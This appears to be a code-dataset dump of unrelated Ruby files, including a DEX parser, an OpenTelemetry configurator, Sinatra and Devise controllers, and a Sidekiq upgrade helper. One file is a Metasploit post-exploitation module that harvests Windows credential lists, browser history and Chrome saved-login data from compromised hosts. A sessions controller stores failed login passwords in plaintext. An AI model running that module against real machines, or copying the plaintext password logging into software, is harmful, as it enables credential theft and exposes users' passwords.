normalize_value("01/1/09").should == Date.parse('1/1/09')
normalize_value("01/01/09").should == Date.parse('1/1/09')
end
specify 'normalize whitespace' do
normalize_value(" a").should == "a"
normalize_value("a ").should == "a"
normalize_value("a\n").should == "a"
normalize_value("\na").should == "a"
normalize_value(" a \nb").should == "a \nb"
normalize_value(" a \r\nb").should == "a \nb"
normalize_value(" a \nb\n").should == "a \nb"
end
specify 'do not normalize string of spaces' do
normalize_value(' ').should == ' '
end
end
| 34.40625 | 88 | 0.648501 |
4ac7c101bceea3f5f708ca8844f76a81ca524c14 | 10,408 | # This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/exe_format/main'
require 'metasm/encode'
require 'metasm/decode'
module Metasm
# Android Dalvik executable file format (similar to java .class)
class DEX < ExeFormat
MAGIC = "dex\n"
OPTMAGIC = "dey\n"
DEPSMAGIC = "deps"
TYPE = { 0x0000 => 'Header', 0x0001 => 'StringId',
0x0002 => 'TypeId', 0x0003 => 'ProtoId',
0x0004 => 'FieldId', 0x0005 => 'MethodId',
0x0006 => 'ClassDef',
0x1000 => 'MapList', 0x1001 => 'TypeList',
0x1002 => 'AnnotationSetRefList', 0x1003 => 'AnnotationSetItem',
0x2000 => 'ClassData', 0x2001 => 'CodeItem',
0x2002 => 'StringData', 0x2003 => 'DebugInfoItem',
0x2004 => 'AnnotationItem', 0x2005 => 'EncodedArrayItem',
0x2006 => 'AnnotationsDirectoryItem' }
OPT_FLAGS = { 1 => 'VERIFIED', 2 => 'BIG', 4 => 'FIELDS', 8 => 'INVOCATIONS' }
ACCESSIBILITY_CLASS = { 1 => 'PUBLIC', 0x10 => 'FINAL', 0x20 => 'SUPER',
0x200 => 'INTERFACE', 0x400 => 'ABSTRACT', 0x2000 => 'ANNOTATION',
0x4000 => 'ENUM' }
VISIBILITY = { 0 => 'BUILD', 1 => 'RUNTIME', 2 => 'SYSTEM' }
OBJ_TYPE = { 0 => 'Byte', 2 => 'Short', 3 => 'Char', 4 => 'Int',
6 => 'Long', 0x10 => 'Float', 0x11 => 'Double', 0x17 => 'String',
0x18 => 'Type', 0x19 => 'Field', 0x1a => 'Method', 0x1b => 'Enum',
0x1c => 'Array', 0x1d => 'Annotation', 0x1e => 'Null',
0x1f => 'Boolean' }
class SerialStruct < Metasm::SerialStruct
new_int_field :u2, :u4, :uleb, :sleb
end
class Header < SerialStruct
mem :sig, 4
str :ver, 4
decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEX signature #{hdr.sig.inspect}" if hdr.sig != MAGIC }
u4 :checksum
mem :sha1sum, 20
u4 :filesz
u4 :headersz
u4 :endiantag, 0x12345678
u4 :linksz
u4 :linkoff
u4 :mapoff
u4 :stringidssz
u4 :stringidsoff
u4 :typeidssz
u4 :typeidsoff
u4 :protoidssz
u4 :protoidsoff
u4 :fieldidssz
u4 :fieldidsoff
u4 :methodidssz
u4 :methodidsoff
u4 :classdefssz
u4 :classdefsoff
u4 :datasz
u4 :dataoff
end
# header added by optimisation pass ?
class OptHeader < SerialStruct
mem :sig, 4
str :ver, 4
decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEY signature #{hdr.sig.inspect}" if hdr.sig != OPTMAGIC }
u4 :dexoff
u4 :dexsz
u4 :depsoff
u4 :depssz
u4 :auxoff
u4 :auxsz
u4 :flags
u4 :pad
fld_bits :flags, OPT_FLAGS
end
class MapList < SerialStruct
u4 :sz
attr_accessor :list
def decode(exe)
super(exe)
@list = (1..@sz).map { MapItem.decode(exe) }
end
end
class MapItem < SerialStruct
u2 :type
fld_enum :type, TYPE
u2 :unused
u4 :sz
u4 :off
end
class StringId < SerialStruct
u4 :off
end
class StringData < SerialStruct
uleb :sz
attr_accessor :str # array of sz utf8 chars
def decode(exe)
super(exe)
@str = exe.decode_strz
end
end
class TypeId < SerialStruct
u4 :descridx
end
class FieldId < SerialStruct
u2 :classidx
u2 :typeidx
u4 :nameidx
end
class MethodId < SerialStruct
u2 :classidx
u2 :typeidx
u4 :nameidx
end
class ProtoId < SerialStruct
u4 :shortyidx
u4 :returntypeidx
u4 :parametersoff
end
class ClassDef < SerialStruct
u4 :classidx
u4 :accessflags
fld_bits :accessflags, ACCESSIBILITY_CLASS
u4 :superclassidx
u4 :interfaceoff
u4 :sourcefileidx
u4 :annotationsoff
u4 :classdataoff
u4 :staticvaluesoff
attr_accessor :data
end
class ClassData < SerialStruct
uleb :staticfsz
uleb :instancefsz
uleb :directmsz
uleb :virtualmsz
attr_accessor :static_fields, :instance_fields,
:direct_methods, :virtual_methods
def decode(exe)
super(exe)
@static_fields = (1..@staticfsz).map { EncodedField.decode(exe) }
@instance_fields = (1..@instancefsz).map { EncodedField.decode(exe) }
@direct_methods = (1..@directmsz).map { EncodedMethod.decode(exe) }
@virtual_methods = (1..@virtualmsz).map { EncodedMethod.decode(exe) }
end
end
class EncodedField < SerialStruct
uleb :fieldid_diff # this field id - array.previous field id
uleb :access
attr_accessor :field
end
class EncodedMethod < SerialStruct
uleb :methodid_diff # this method id - array.previous method id
uleb :access
uleb :codeoff # offset to CodeItem
attr_accessor :method, :code, :name
end
class TypeItem < SerialStruct
u2 :typeidx
end
class TypeList < SerialStruct
u4 :sz
attr_accessor :list
def decode(exe)
super(exe)
@list = (1..@sz).map { TypeItem.decode(exe) }
exe.decode_u2 if @sz & 1 == 1 # align
end
end
class CodeItem < SerialStruct
u2 :registerssz
u2 :inssz
u2 :outssz
u2 :triessz
u4 :debugoff
u4 :insnssz
attr_accessor :insns_off, :try_items, :catch_items
def decode(exe)
p0 = exe.encoded.ptr
super(exe)
@insns_off = exe.encoded.ptr - p0
exe.encoded.ptr += 2*@insnssz
return if @triessz <= 0
exe.decode_u2 if @insnssz & 1 == 1 # align
@try_items = (1..@triessz).map { Try.decode(exe) }
stptr = exe.encoded.ptr
hnr = exe.decode_uleb
@catch_items = (1..hnr).map { CatchHandler.decode(exe, exe.encoded.ptr - stptr) }
end
end
class Try < SerialStruct
u4 :startaddr
u2 :insncount
u2 :handleroff # byte offset into the @catch_items structure
end
class CatchHandler < SerialStruct
sleb :size
attr_accessor :byteoff
attr_accessor :type_pairs, :catchalloff
def decode(exe, boff = nil)
super(exe)
@byteoff = boff
@type_pairs = ([email protected]).map { CatchTypePair.decode(exe) }
@catchalloff = exe.decode_uleb if @size <= 0
end
end
class CatchTypePair < SerialStruct
uleb :typeidx
uleb :handleroff
end
class Link < SerialStruct
# undefined
end
class AnnotationDirectoryItem < SerialStruct
u4 :classannotationsoff
u4 :fieldssz
u4 :methodssz
u4 :parameterssz
attr_accessor :field, :method, :parameter
def decode(exe)
super(exe)
@field = (1..@fieldssz).map { FieldAnnotationItem.decode(exe) }
@method = (1..@methodssz).map { MethodAnnotationItem.decode(exe) }
@parameter = (1..@parameterssz).map { ParameterAnnotationItem.decode(exe) }
end
end
class FieldAnnotationItem < SerialStruct
u4 :fieldidx
u4 :annotationsoff
end
class MethodAnnotationItem < SerialStruct
u4 :methodidx
u4 :annotationsoff
end
class ParameterAnnotationItem < SerialStruct
u4 :methodidx
u4 :annotationsoff # off to AnnSetRefList
end
class AnnotationSetRefList < SerialStruct
u4 :sz
attr_accessor :list
def decode(exe)
super(exe)
@list = (1..@sz).map { AnnotationSetRefItem.decode(exe) }
end
end
class AnnotationSetRefItem < SerialStruct
u4 :annotationsoff
end
class AnnotationSetItem < SerialStruct
u4 :sz
attr_accessor :list
def decode(exe)
super(exe)
@list = (1..@sz).map { AnnotationItem.decode(exe) }
end
end
class AnnotationItem < SerialStruct
byte :visibility
fld_enum :visibility, VISIBILITY
attr_accessor :annotation
end
attr_accessor :endianness
def encode_u2(val) Expression[val].encode(:u16, @endianness) end
def encode_u4(val) Expression[val].encode(:u32, @endianness) end
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def decode_uleb(ed = @encoded, signed=false)
v = s = 0
while s < 5*7
b = ed.read(1).unpack('C').first.to_i
v |= (b & 0x7f) << s
break if (b&0x80) == 0
s += 7
end
v = Expression.make_signed(v, s) if signed
v
end
def decode_sleb(ed = @encoded) decode_uleb(ed, true) end
attr_accessor :header, :strings, :types, :protos, :fields, :methods, :classes
def initialize(endianness=:little)
@endianness = endianness
@encoded = EncodedData.new
super()
end
def decode_header
@header = Header.decode(self)
end
def decode_strings
@encoded.ptr = @header.stringidsoff
so = ([email protected]).map { StringId.decode(self) }
@strings = so.map { |s| @encoded.ptr = s.off ; StringData.decode(self).str }
end
def decode_types
@encoded.ptr = @header.typeidsoff
tl = ([email protected]).map { TypeId.decode(self) }
@types = tl.map { |t| @strings[t.descridx] } # TODO demangle or something
end
def decode_protos
@encoded.ptr = @header.protoidsoff
@protos = ([email protected]).map { ProtoId.decode(self) }
end
def decode_fields
@encoded.ptr = @header.fieldidsoff
@fields = ([email protected]).map { FieldId.decode(self) }
end
def decode_methods
@encoded.ptr = @header.methodidsoff
@methods = ([email protected]).map { MethodId.decode(self) }
end
def decode_classes
@encoded.ptr = @header.classdefsoff
@classes = ([email protected]).map { ClassDef.decode(self) }
@classes.each { |c|
next if c.classdataoff == 0
@encoded.ptr = c.classdataoff
c.data = ClassData.decode(self)
id = 0
(c.data.direct_methods + [0] + c.data.virtual_methods).each { |m|
next id=0 if m == 0
id += m.methodid_diff
m.method = @methods[id]
m.name = @strings[m.method.nameidx]
@encoded.ptr = m.codeoff
m.code = CodeItem.decode(self)
next if @encoded.ptr > @encoded.length
l = new_label(m.name + '@' + @types[c.classidx])
@encoded.add_export l, m.codeoff + m.code.insns_off
}
}
end
def decode
decode_header
decode_strings
decode_types
decode_protos
decode_fields
decode_methods
decode_classes
end
def cpu_from_headers
Dalvik.new(self)
end
def init_disassembler
dasm = super()
@classes.each { |c|
next if not c.data
(c.data.direct_methods + c.data.virtual_methods).each { |m|
n = @types[c.classidx] + '->' + m.name
dasm.comment[m.codeoff+m.code.insns_off] = [n]
}
}
dasm.function[:default] = @cpu.disassembler_default_func
dasm
end
def each_section
yield @encoded, 0
# @classes.each { |c|
# next if not c.data
# (c.data.direct_methods + c.data.virtual_methods).each { |m|
# next if not m.code
# next if not ed = @encoded[m.codeoff+m.code.insns_off, 2*m.code.insnssz]
# yield ed, ed.export.index(0)
# }
# }
end
def get_default_entrypoints
[]
end
end
class DEY < DEX
attr_accessor :optheader, :fullencoded
def decode_header
@optheader = OptHeader.decode(self)
@fullencoded = @encoded
@encoded = @fullencoded[@optheader.dexoff, @optheader.dexsz]
super
end
end
end
| 22.724891 | 121 | 0.681303 |
61fa5ecfde8bf03ea611973218287974421407da | 38 | module Sensor
VERSION = "0.1.0"
end
| 9.5 | 19 | 0.657895 |
4ad17a7e44dfc89fab52cf82d9bcd6dd042c0a11 | 8,485 | # frozen_string_literal: true
# Copyright The OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
module OpenTelemetry
module SDK
# The configurator provides defaults and facilitates configuring the
# SDK for use.
class Configurator # rubocop:disable Metrics/ClassLength
USE_MODE_UNSPECIFIED = 0
USE_MODE_ONE = 1
USE_MODE_ALL = 2
private_constant :USE_MODE_UNSPECIFIED, :USE_MODE_ONE, :USE_MODE_ALL
attr_writer :logger, :propagators, :error_handler, :id_generator
def initialize
@instrumentation_names = []
@instrumentation_config_map = {}
@propagators = nil
@span_processors = []
@use_mode = USE_MODE_UNSPECIFIED
@resource = Resources::Resource.default
@id_generator = OpenTelemetry::Trace
end
def logger
@logger ||= OpenTelemetry.logger
end
def error_handler
@error_handler ||= OpenTelemetry.error_handler
end
# Accepts a resource object that is merged with the default telemetry sdk
# resource. The use of this method is optional, and is provided as means
# to include additional resource information.
# If a resource key collision occurs the passed in resource takes priority.
#
# @param [Resource] new_resource The resource to be merged
def resource=(new_resource)
@resource = @resource.merge(new_resource)
end
# Accepts a string that is merged in as the service.name resource attribute.
# The most recent assigned value will be used in the event of repeated
# calls to this setter.
# @param [String] service_name The value to be used as the service name
def service_name=(service_name)
self.resource = OpenTelemetry::SDK::Resources::Resource.create(
OpenTelemetry::SDK::Resources::Constants::SERVICE_RESOURCE[:name] => service_name
)
end
# Accepts a string that is merged in as the service.version resource attribute.
# The most recent assigned value will be used in the event of repeated
# calls to this setter.
# @param [String] service_version The value to be used as the service version
def service_version=(service_version)
self.resource = OpenTelemetry::SDK::Resources::Resource.create(
OpenTelemetry::SDK::Resources::Constants::SERVICE_RESOURCE[:version] => service_version
)
end
# Install an instrumentation with specificied optional +config+.
# Use can be called multiple times to install multiple instrumentation.
# Only +use+ or +use_all+, but not both when installing
# instrumentation. A call to +use_all+ after +use+ will result in an
# exception.
#
# @param [String] instrumentation_name The name of the instrumentation
# @param [optional Hash] config The config for this instrumentation
def use(instrumentation_name, config = nil)
check_use_mode!(USE_MODE_ONE)
@instrumentation_names << instrumentation_name
@instrumentation_config_map[instrumentation_name] = config if config
end
# Install all registered instrumentation. Configuration for specific
# instrumentation can be provided with the optional +instrumentation_config_map+
# parameter. Only +use+ or +use_all+, but not both when installing
# instrumentation. A call to +use+ after +use_all+ will result in an
# exception.
#
# @param [optional Hash<String,Hash>] instrumentation_config_map A map with string keys
# representing the instrumentation name and values specifying the instrumentation config
def use_all(instrumentation_config_map = {})
check_use_mode!(USE_MODE_ALL)
@instrumentation_config_map = instrumentation_config_map
end
# Add a span processor to the export pipeline
#
# @param [#on_start, #on_finish, #shutdown, #force_flush] span_processor A span_processor
# that satisfies the duck type #on_start, #on_finish, #shutdown, #force_flush. See
# {SimpleSpanProcessor} for an example.
def add_span_processor(span_processor)
@span_processors << span_processor
end
# @api private
# The configure method is where we define the setup process. This allows
# us to make certain guarantees about which systems and globals are setup
# at each stage. The setup process is:
# - setup logging
# - setup propagation
# - setup tracer_provider and meter_provider
# - install instrumentation
def configure
OpenTelemetry.logger = logger
OpenTelemetry.error_handler = error_handler
OpenTelemetry.baggage = Baggage::Manager.new
configure_propagation
configure_span_processors
tracer_provider.id_generator = @id_generator
OpenTelemetry.tracer_provider = tracer_provider
install_instrumentation
end
private
def tracer_provider
@tracer_provider ||= Trace::TracerProvider.new(@resource)
end
def check_use_mode!(mode)
@use_mode = mode if @use_mode == USE_MODE_UNSPECIFIED
raise 'Use either `use_all` or `use`, but not both' unless @use_mode == mode
end
def install_instrumentation
case @use_mode
when USE_MODE_ONE
OpenTelemetry.instrumentation_registry.install(@instrumentation_names, @instrumentation_config_map)
when USE_MODE_ALL
OpenTelemetry.instrumentation_registry.install_all(@instrumentation_config_map)
end
end
def configure_span_processors
processors = @span_processors.empty? ? [wrapped_exporter_from_env].compact : @span_processors
processors.each { |p| tracer_provider.add_span_processor(p) }
end
def wrapped_exporter_from_env
exporter = ENV.fetch('OTEL_TRACES_EXPORTER', 'otlp')
case exporter
when 'none' then nil
when 'otlp' then fetch_exporter(exporter, 'OpenTelemetry::Exporter::OTLP::Exporter')
when 'jaeger' then fetch_exporter(exporter, 'OpenTelemetry::Exporter::Jaeger::CollectorExporter')
when 'zipkin' then fetch_exporter(exporter, 'OpenTelemetry::Exporter::Zipkin::Exporter')
when 'console' then Trace::Export::SimpleSpanProcessor.new(Trace::Export::ConsoleSpanExporter.new)
else
OpenTelemetry.logger.warn "The #{exporter} exporter is unknown and cannot be configured, spans will not be exported"
nil
end
end
def configure_propagation # rubocop:disable Metrics/CyclomaticComplexity
propagators = ENV.fetch('OTEL_PROPAGATORS', 'tracecontext,baggage').split(',').uniq.collect do |propagator|
case propagator
when 'tracecontext' then OpenTelemetry::Trace::Propagation::TraceContext.text_map_propagator
when 'baggage' then OpenTelemetry::Baggage::Propagation.text_map_propagator
when 'b3' then fetch_propagator(propagator, 'OpenTelemetry::Propagator::B3::Single')
when 'b3multi' then fetch_propagator(propagator, 'OpenTelemetry::Propagator::B3::Multi', 'b3')
when 'jaeger' then fetch_propagator(propagator, 'OpenTelemetry::Propagator::Jaeger')
when 'xray' then fetch_propagator(propagator, 'OpenTelemetry::Propagator::XRay')
when 'ottrace' then fetch_propagator(propagator, 'OpenTelemetry::Propagator::OTTrace')
else
OpenTelemetry.logger.warn "The #{propagator} propagator is unknown and cannot be configured"
Context::Propagation::NoopTextMapPropagator.new
end
end
OpenTelemetry.propagation = Context::Propagation::CompositeTextMapPropagator.compose_propagators((@propagators || propagators).compact)
end
def fetch_propagator(name, class_name, gem_suffix = name)
Kernel.const_get(class_name).text_map_propagator
rescue NameError
OpenTelemetry.logger.warn "The #{name} propagator cannot be configured - please add opentelemetry-propagator-#{gem_suffix} to your Gemfile"
nil
end
def fetch_exporter(name, class_name)
Trace::Export::BatchSpanProcessor.new(Kernel.const_get(class_name).new)
rescue NameError
OpenTelemetry.logger.warn "The #{name} exporter cannot be configured - please add opentelemetry-exporter-#{name} to your Gemfile, spans will not be exported"
nil
end
end
end
end
| 43.290816 | 165 | 0.696523 |
26dd664e7da8c3c6063bf61ac9e782cb7ed80343 | 7,804 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(update_info(info,
'Name' => 'Host Information Collection',
'Description' => %q(
This module collects Installed Applications, Host Credentials, Network Connection (ESTABLISHED),
Internet Explorer History, Google Chrome History and saved passwords.
),
'License' => MSF_LICENSE,
'Author' => 'AnonySec',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false])
])
end
# /post/windows/gather/enum_chrome
# migrate to explorer.exe
def migrate(pid=nil)
current_pid = session.sys.process.open.pid
target_pid = session.sys.process["explorer.exe"]
if target_pid != current_pid
print_status("Current PID #{current_pid}, migrating into explorer.exe, PID #{target_pid}.")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e)
return false
end
end
return true
end
# post/windows/gather/enum_applications
def app_list
print_status("Enumerating applications installed on #{sysinfo['Computer']}")
tbl = Rex::Text::Table.new(
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' =>
[
"Name",
"Version"
])
appkeys = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
]
apps = []
appkeys.each do |keyx86|
found_keys = registry_enumkeys(keyx86)
if found_keys
found_keys.each do |ak|
apps << keyx86 +"\\" + ak
end
end
end
t = []
while(not apps.empty?)
1.upto(16) do
t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k|
begin
dispnm = registry_getvaldata("#{k}","DisplayName")
dispversion = registry_getvaldata("#{k}","DisplayVersion")
tbl << [dispnm,dispversion] if dispnm and dispversion
rescue
end
end
end
t.map{|x| x.join }
end
results = tbl.to_s
print_line("\n" + results + "\n")
p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications")
print_good("Results stored in: #{p}")
end
def credential
print_line ("\nHost Credentials\n================")
# 中文乱码,英文输出 chcp 437
# session.sys.process.execute("cmd.exe /c cmdkey /list > C:\\Windows\\Temp\\cmdkey.txt")
# 列出Windows凭据: cmdkey /list , 列出保管库(vault)列表: vaultcmd /list
cred = cmd_exec("cmd.exe /c chcp 437 && cmdkey /list && vaultcmd /list")
print_line ("#{cred}")
end
def netstat
print_line ("\nNetstat\n=======")
net = cmd_exec("cmd.exe /c netstat -ano|findstr ESTABLISHED")
print_line ("#{net}")
end
# IE输入网址 注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
def ie_history
# # IE版本获取
# ver = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Internet Explorer", "Version")
# print_line("\nIE Version: #{ver}")
# print_line ("<-------------------------IE History------------------------->")
print_line ("\nIE History\n==========")
# 返回给定注册表项的值名称数组
keys = registry_enumvals("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs")
# print_good("#{keys}")
if (not keys.empty?)
while(not keys.empty?)
key = keys.shift
# 返回给定注册表项和值的数据
valname = registry_getvaldata("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs","#{key}")
print_line ("#{valname}")
end
else
print_error("NO History Data.")
end
end
def chrome_history
# 检查目标注册表上是否存在键
key = registry_key_exist?("HKCU\\Software\\Google")
# print_good("#{key}")
if key
# ver = registry_getvaldata("HKCU\\Software\\Google\\Chrome\\BLBeacon", "version")
# print_line("\nChrome Version: #{ver}")
# 实际目录 /.msf4/loot/
dir = Msf::Config.loot_directory
# 下载目标机谷歌History.sqlite
session.fs.file.download_file("#{dir}/#{rhost}-Chrome_history.sqlite","%LocalAppData%\\Google\\Chrome\\User Data\\Default\\History")
print_status("Chrome History file saved to: #{dir}/#{rhost}-Chrome_history.sqlite")
# print_line ("<-----------------------Chrome History----------------------->")
print_line ("\nChrome History\n==============")
begin
file = "#{dir}/#{rhost}-Chrome_history.sqlite"
# SQLite3 database engine
maildb = SQLite3::Database.new(file)
# url = maildb.execute("select url,title from urls;")
urls = maildb.execute("select url from urls;")
if (not urls.empty?)
while(not urls.empty?)
url = (urls.shift).shift
print_line ("#{url}")
end
maildb.close
chrome_login
else
print_error("NO History Data.")
end
end
else
print_line ("")
print_error("NO Google Chrome.")
end
end
# 参考post/windows/gather/enum_chrome
def chrome_login
dir = Msf::Config.loot_directory
session.fs.file.download_file("#{dir}/#{rhost}-Chrome_login.sqlite","%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data")
# print_status("Chrome Login file saved to: #{dir}/#{rhost}-Chrome_login.sqlite")
# print_line ("Chrome Login\n============")
begin
file = "#{dir}/#{rhost}-Chrome_login.sqlite"
maildb = SQLite3::Database.new(file)
# login = maildb.execute("SELECT action_url, username_value, password_value FROM logins;")
urls = maildb.execute("SELECT action_url FROM logins;")
username = maildb.execute("SELECT username_value FROM logins;")
password = maildb.execute("SELECT password_value FROM logins;")
tbl = Rex::Text::Table.new(
'Header' => 'Chrome Login',
'Indent' => 1, # 缩进
'Columns' => ['Url','Username']
)
if (not urls.empty?)
line = 0
while(not urls.empty?)
url = (urls.shift).shift
user = (username.shift).shift
pass = password.shift
line += pass.length
# print_good ("#{url}")
# print_good ("#{user}")
tbl << [
url,
user
]
end
print_line ("\n#{tbl.to_s}")
print_good ("Found #{line} Chrome saved passwords.")
else
print_line ("")
print_error("NO chrome Login Data.")
end
maildb.close
end
end
def run
ver = sysinfo["OS"]
print_status("Target OS: #{ver}")
current = session.sys.process.open.pid
target = (session.sys.process["powershell.exe"] or session.sys.process["rundll32.exe"])
# print_status("Current: #{current} Target: #{target}")
if current == target
if datastore['MIGRATE']
migrate
app_list
credential
netstat
ie_history
chrome_history
else
print_error("Module run will error, Try setting MIGRATE.")
return
end
else
if datastore['MIGRATE']
migrate
end
app_list
credential
netstat
ie_history
chrome_history
end
end
end | 31.853061 | 138 | 0.594695 |
bf9fc689e8a1e467afbd57db9341814ebc09ca39 | 2,852 | require 'test_helper'
require "models"
class TestDocumentPlugin < Test::Unit::TestCase
context "Document#save" do
should "respect persistence_strategy" do
Person.persistence_strategy(:changes_only)
#Person one should not have anything in the pets collection
person = Person.create! :name=>"Willard"
person2 = Person.find(person.id)
person2.pets.build :name=>"Magma"
person2.save!
person.name = "Timmy"
person.save!
person.reload
person.name.should == "Timmy"
person.pets.length.should == 1
Person.persistence_strategy(:full_document)
end
end
context "#save_to_collection" do
should "overwrite the document when the strategy is :full_document" do
#Person one should not have anything in the pets collection
person = Person.create! :name=>"Willard"
person2 = Person.find(person.id)
person2.pets.build :name=>"Magma"
person2.save!
person.name = "Timmy"
person.save_to_collection(:persistence_strategy=>:full_document) #this is the default
person.reload
person.name.should == "Timmy"
person.pets.length.should == 0
end
should "only save changes when the strategy is :changes_only" do
#Person one should not have anything in the pets collection
person = Person.create! :name=>"Willard"
person2 = Person.find(person.id)
person2.pets.build :name=>"Magma"
person2.save!
person.name = "Timmy"
person.save_to_collection(:changes_only=>true)
person.reload
person.name.should == "Timmy"
person.pets.length.should == 1
end
end
context "#determine_persistence_strategy" do
should "return a default strategy if none is set or provided" do
Person.new.send(:determine_persistence_strategy,{}).should == :full_document
end
should "return the plugin level persistence strategy if defined" do
MmPartialUpdate.default_persistence_strategy = :changes_only
Person.new.send(:determine_persistence_strategy,{}).should == :changes_only
MmPartialUpdate.default_persistence_strategy = :full_document
end
should "use class level persistence strategy if defined" do
Person.persistence_strategy(:changes_only)
Person.new.send(:determine_persistence_strategy,{}).should == :changes_only
Person.persistence_strategy(:full_document)
end
should "use persistence strategy in the options if defined" do
Person.new.send(:determine_persistence_strategy,
{:persistence_strategy=>:changes_only}).should == :changes_only
end
should "interpret :changes_only=>true in the options as a strategy of :changes_only" do
Person.new.send(:determine_persistence_strategy,:changes_only=>true).
should == :changes_only
end
end
end
| 31 | 91 | 0.696704 |
bf6481760b482dea69dda539df6690326e6b191f | 2,199 | require 'rack-flash'
class UsersController < ApplicationController
use Rack::Flash
get '/about' do
erb :'/users/about'
end
get '/users' do
@users = User.all
erb :'users/users'
end
get '/users/:id' do
@user = User.find_by_id(params[:id])
erb :'/users/show'
end
# get '/users/:slug' do
# @user = User.find_by_slug(params[:slug])
# erb :'/users/show'
# end
get '/signup' do
if !logged_in?
erb :'users/signup', locals: {message: "Please sign up before you login."}
else
redirect to '/projects'
end
end
post '/signup' do
if params[:username] == '' || params[:email] == '' || params[:password] == '' || params[:level] == '' || params[:discipline] == ''
redirect to '/signup'
else
@user = User.new(username: params[:username], email: params[:email], password: params[:password], level: params[:level], discipline: params[:discipline])
@user.save
session[:user_id] = @user.id
session[:username] = @user.username
redirect to '/projects'
end
end
get '/login' do
if !logged_in?
erb :'users/login'
else
redirect to '/projects'
end
end
post '/login' do
@user = User.find_by(username: params[:username])
if @user.authenticate(params[:password])#@user.password_digest == params[:password]
session[:user_id] = @user.id
session[:username] = @user.username
redirect to '/projects'
else
redirect to '/signup'
end
end
get '/users/:id/edit' do
@user = User.find_by_id(params[:id])
erb :'/users/edit'
end
patch '/users/:id' do
@user = User.find_by_id(params[:id])
@user.update(level: params[:level], discipline: params[:discipline])
erb :'/users/show'
end
get '/logout' do
if logged_in?
session.destroy
erb :index
end
end
end
| 26.493976 | 166 | 0.510687 |
5d67b64e0a3936ac49e2ecbd09e6439a392d6293 | 797 | class SessionsController < Devise::SessionsController
after_filter :log_failed_login, :only => :new
# don't modify default devise controllers
def create; super; end
def new; super; end
private
# logs failed login attempts
def log_failed_login
if failed_login?
# log to failedlogins
failed = Failedlogin.new
failed.login = params['user']['login']
failed.password = params['user']['password']
failed.ip_address = get_header_value('X_REAL_IP')
failed.save
# prevent timing and brute force password attacks
sleep 1
end
end
# true if a login fails
def failed_login?
options = env["warden.options"]
return (options.present? && options[:action] == "unauthenticated")
end
end
| 24.151515 | 72 | 0.649937 |
ac57e1726b7e65fb562eeae35bb05ebc27e31d56 | 2,402 | require 'redlock'
module Sidekiq
module QueueMetrics
class UpgradeManager
def self.logger
@@logger ||= Logger.new(STDOUT)
end
# Check if an upgrade is needed and it's not already in progress.
# If it's in progress, it will block during that time waiting for the upgrade to complete.
#
# In case the lock is not released because the upgrade is taking too long
# it will raise an exception
#
# @raises [Redlock::LockError]
#
def self.upgrade_if_needed
acquire_lock do
return unless upgrade_needed?
v2_to_v3_upgrade
end
rescue Redlock::LockError
fail 'A long running upgrade is in progress. Try restarting the application once finished'
end
def self.v2_to_v3_upgrade
logger.info('Starting sidekiq_queue_metrics v3 upgrade')
Sidekiq.redis_pool.with do |conn|
old_collected_metrics = JSON.load(conn.get(Helpers.stats_key))
old_collected_metrics.each do |(queue, stats)|
logger.info("Upgrading #{queue} statistics")
stats.each { |(stat, value)| Sidekiq::QueueMetrics::Storage.increment_stat(queue, stat, value) }
failed_jobs_key = Helpers.build_failed_jobs_key(queue)
if conn.exists(failed_jobs_key) && conn.type(failed_jobs_key) == 'string'
temporal_failed_key = "_#{failed_jobs_key}"
failed_jobs = JSON.parse(conn.get(Helpers.build_failed_jobs_key(queue)) || '[]')
conn.rename(failed_jobs_key, temporal_failed_key)
failed_jobs.each { |job| Sidekiq::QueueMetrics::Storage::add_failed_job(job) }
conn.del(temporal_failed_key)
end
end
conn.del(Helpers.stats_key)
end
logger.info("Sucessfully upgraded")
end
def self.upgrade_needed?
Sidekiq.redis_pool.with { |conn| conn.exists(Helpers.stats_key) }
end
def self.acquire_lock(&block)
Sidekiq.redis_pool.with do |conn|
lock_manager = Redlock::Client.new([conn], {
retry_count: 5,
retry_delay: 500,
retry_jitter: 150, # milliseconds
redis_timeout: 0.1 # seconds
})
lock_manager.lock!('sidekiq_queue_metrics:upgrade_lock', 10000, &block)
end
end
end
end
end
| 31.194805 | 108 | 0.624063 |
f87911b3ae4cb34d1d155847dbc57fc4d8d918e8 | 1,380 | require 'formula'
class Couchpotatoserver < Formula
homepage 'https://couchpota.to'
url 'https://github.com/RuudBurger/CouchPotatoServer/archive/build/2.3.1.tar.gz'
sha1 'ede834c429da3cd94a5bba5ae1a25d49fa229051'
head 'https://github.com/RuudBurger/CouchPotatoServer.git'
def install
prefix.install_metafiles
libexec.install Dir['*']
(bin+"couchpotatoserver").write(startup_script)
end
plist_options :manual => 'couchpotatoserver'
def plist; <<-EOS.undent
